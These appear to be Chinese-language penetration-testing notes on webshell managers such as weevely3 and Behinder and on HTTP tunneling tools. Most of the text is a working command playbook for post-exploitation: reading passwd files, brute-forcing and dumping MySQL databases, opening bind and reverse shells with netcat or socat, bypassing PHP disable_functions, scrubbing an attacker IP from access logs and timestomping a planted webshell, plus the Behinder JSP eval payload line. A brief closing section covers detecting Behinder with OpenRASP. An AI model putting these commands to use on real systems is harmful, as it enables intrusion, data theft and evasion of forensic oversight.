- 通用功能
- 主控端proxy - 主控端可使用代理(自我保护"反溯源"),与webshell交互
- 流量混淆 - 避免被NTA检测到明文流量特征
- 文件混淆 - 避免被主机agent检测到文件特征
- ...
| 名称 | 主控端 | 被控端 | 文件特征 | 流量特征 | 主控端proxy | 描述 |
|---|---|---|---|---|---|---|
| epinna/weevely3 | python>= 2.7.10 | .php | 混淆内容 | 编码(xor) | shell proxy | 更适合linux环境下的后渗透. 特别的一点是自带php实现的zip压缩,便于打包"web应用源码"等 |
| rebeyond/Behinder | Java(Jre6-8) | .php(5.4-7.2) .jsp(java 6+) .asp .aspx(.NET 2.0+) | 固定内容 可做变形 | 加密(aes) | http(s) proxy | "冰蝎"动态二进制加密 webshell管理端 |
web-based proxy tools.
| 名称 | 主控端 | 被控端 | 文件特征 | 流量特征 | 主控端proxy | 描述 |
|---|---|---|---|---|---|---|
| ABPTTS | python | .jsp .war .aspx | / | / | / | TCP tunneling over HTTP/HTTPS for web application servers. Black Hat USA 2016 |
| sensepost/reGeorg | python 2.7 | .aspx .ashx .jsp .php .js | / | / | / | The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. |
- 主机信息搜集(详细内容参考其他笔记)
- 工具命令
system_info查看当前webshell文件位置 操作系统类型 根目录 php版本 当前用户名 外网IP 等 - 工具命令
system_procs列出进程 - 工具命令
:system_extensions查看php和web中间件信息 能看到apache_modules等信息 - 工具命令
:audit_phpconf - 工具命令
:audit_filesystem查看linux下关键目录 寻找 可写/可读/可执行 文件
- 工具命令
- 文件操作
- 读取文件命令
:audit_etcpasswd读取passwd文件(需要足够的权限) - 创建文件命令
touch -human-ts '2019-05-29 16:21:42' test.php创建文件 可设置创建时间 - 下载文件命令
:file_download result.zip /Users/xxx/Downloads/result.zip把目标站的result.zip下载到本地Downloads/result.zip - 上传文件命令
:file_upload /Users/xxx/Downloads/1.png file.png -force -vector fwrite把本地文件/数据 上传到 远程目标站file.png参数-force表示如果文件存在则强制覆盖 - 上传文件命令
:file_upload -content "testdata" data.php把本地文件/数据 上传到 远程目标站data.php - 压缩文件命令
:file_zip site.zip ./把当前目录下所有文件压缩成site.zip 注意避免递归压缩!(压缩包 不应保存在被压缩或将被压缩的文件夹中)否则压缩过程被中断! - 压缩文件命令
:file_gzip site.gz ./只支持linux - 压缩文件命令
:file_tar只支持linux(待确认) - 搜索内容命令
:file_grep ./ "pass"不建议搜索大目录
- 读取文件命令
- net网络请求
- 端口扫描 - 使用PHP函数fsockopen实现
- 工具命令
:net_scan 127.0.0.1 21,22,80,443,1433,3306,3389,7001
- 工具命令
- proxy
- 工具命令
:net_proxy使用目标主机的IP发起http(s)请求 - 工具命令
:net_curl http://ipconfig.io/json模拟curl 使用目标主机发起http(s)请求
- 工具命令
- 端口扫描 - 使用PHP函数fsockopen实现
- DB数据库操作
- SQL交互
- 工具命令
sql_console -user USER -passwd PASS123 -host 10.2.3.4连接MySQL成功则能交互式执行SQL语句- 对MySQL进行信息搜集
SELECT version();show databases;
- 对MySQL进行信息搜集
- 工具命令
- 暴力枚举数据库用户名和口令 只支持mysql和pgsql
- 工具命令
:bruteforce_sql mysql -hostname localhost -users root -pwds db123456 admin123简单枚举 成功会出现root:pass - 工具命令
:bruteforce_sql mysql -hostname localhost -users USERNAME1 USERNAME2 USERNAME3ROOT -fpwds wordlists/dic.txt字典枚举
- 工具命令
- dump数据库到本地(前提是MySQL需要权限 可导出文件到某目录)
- 常见问题:无权限导出文件
- 查看MySQL权限
show global variables like '%secure_file_priv%';如果查询结果为NULL 则没有权限直接使用SQL语句导入导出文件. 有变通方法 - 保存sql查询的结果即可
SELECT * FROM `table1`;- 常见问题:如果sql查询的结果数据过多 导致sql查询超时? 也有变通方法
- 先确定数据条数
SELECT COUNT(*) FROM `table1`; - 再分多次查询
SELECT * FROM `table1` ORDER BY `id` ASC LIMIT 0,20;从第1条数据开始(起点) 查询得到20条数据(数据量) 下次LIMIT 20,20再得到20条数据 ... 以此类推 最后拼接查询结果 得到整个表的数据
- 查看MySQL权限
- 实现dump方式1 使用php实现(默认) 支持mysql,pgsql,sqlite,dblib php代码见weevely3/mysqldump.tpl 原项目为mysqldump-php
- 工具命令
:sql_dump DBname DBuser DBpass -dbms mysql -host localhost:3306把数据库dump 下载保存到本地目录/var下. 可指定保存为本地文件-lpath /Users/xxx/Downloads/db1.sqldump - 实现dump方式2 执行系统命令(只支持MySQL) 使用weevely中定义的php类
ShellCmd执行系统命令启动mysqldump程序实现 - 工具命令
:sql_dump DBname DBuser DBpass -dbms mysql -host localhost:3306 -vector mysqldump_sh
- 常见问题:无权限导出文件
- 数据复原:将得到的数据库文件
xx.sqldump(内容为sql语句) 导入到MySQL数据库- 自搭mysqld服务 并登录
mysql -u root -p - 使用MySQL命令 创建 新数据库
CREATE DATABASE new_database; - 在shell下导入数据库文件
data.sqldump到新数据库new_database命令mysql -u username -p new_database < xx.sqldump
- 自搭mysqld服务 并登录
- SQL交互
- 派生shell
- 正向shell
:backdoor_tcp- 工具命令
:backdoor_tcp 8811 -vector netcat在目标主机(被控端)公网IP上开启端口监听 1.1.1.1:8811 主控端执行nc 1.1.1.1 8811 - 工具命令
:backdoor_tcp 8811 -vector netcat_bsd - 工具命令
:backdoor_tcp 8811 -vector python_pty - 工具命令
:backdoor_tcp 8811 -vector socat
- 工具命令
- 反向shell
:backdoor_reversetcp
- 正向shell
- 命令交互
- 执行PHP代码 -
:shell_php "phpinfo();" - 执行系统命令 -
:shell_sh pwd -vector proc_open - bypass disable_functions 方法1 - 使用Apache的mod_cgi模块和
.htaccess文件- 工具命令
:audit_disablefunctionbypass如果失败会提示 - 利用前提:Apache使用了mod_cgi模块
- 问题:php的配置文件
php.ini中disable_functions=说明了禁止执行的php函数,如exec()等 - 启动模块
:audit_disablefunctionbypass注意:会上传2个文件.htaccess和 CGI脚本acubu.ved - 通过CGI脚本启动的独立进程
acubu.ved即可实现伪终端 进行命令交互 如ps -auxwhoami等 - 不需要执行命令则可删除之前上传的2个文件
:file_rm .htaccess:file_rm acubu.ved - 如果不删除之前上传的2个文件 则下次可以直接启动CGI脚本 实现伪终端命令交互
:audit_disablefunctionbypass -just-run http://localhost/acubu.ved
- 工具命令
- bypass disable_functions 方法2 - json serializer的UAF漏洞
- 执行PHP代码 -
- 攻击痕迹清理(详细内容参考其他笔记)
- 删除某文件(access.log)中 有1.1.1.1的那些行(实测不一定成功 看权限) 自带3种实现方式
- 使用php代码实现
:file_clearlog -vector php_clear 1.1.1.1 access.log - 使用sed命令实现
:file_clearlog -vector clearlog 1.1.1.1 access.log - 使用sed命令实现
:file_clearlog -vector old_school 1.1.1.1 access.log
- 使用php代码实现
- 删除某文件(access.log)中 有1.1.1.1的那些行(实测不一定成功 看权限) 自带3种实现方式
# 设置webshell.jsp的"修改时间" 设置成1.jsp的"修改时间"
touch -r 1.jsp webshell.jsp
冰蝎webshell的JSP版本通过自定义ClassLoader + defineClass方法来实现eval特性。
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
因为冰蝎webshell使用了加密通信流量(AES双向加密),可绕过WAF/IDS等系统
检测方法:
该检测方法参考自百度安全实验室
部署在web应用内部的OpenRASP能够看到后门操作日志(需安装 999-event-logger 插件):
[event-logger] Listing directory content: /
[event-logger] Execute command: whoami
同样,可通过"命令执行"的堆栈进行检测:
java.lang.ProcessBuilder.start
...
net.rebeyond.behinder.payload.java.Cmd.RunCMD
net.rebeyond.behinder.payload.java.Cmd.equals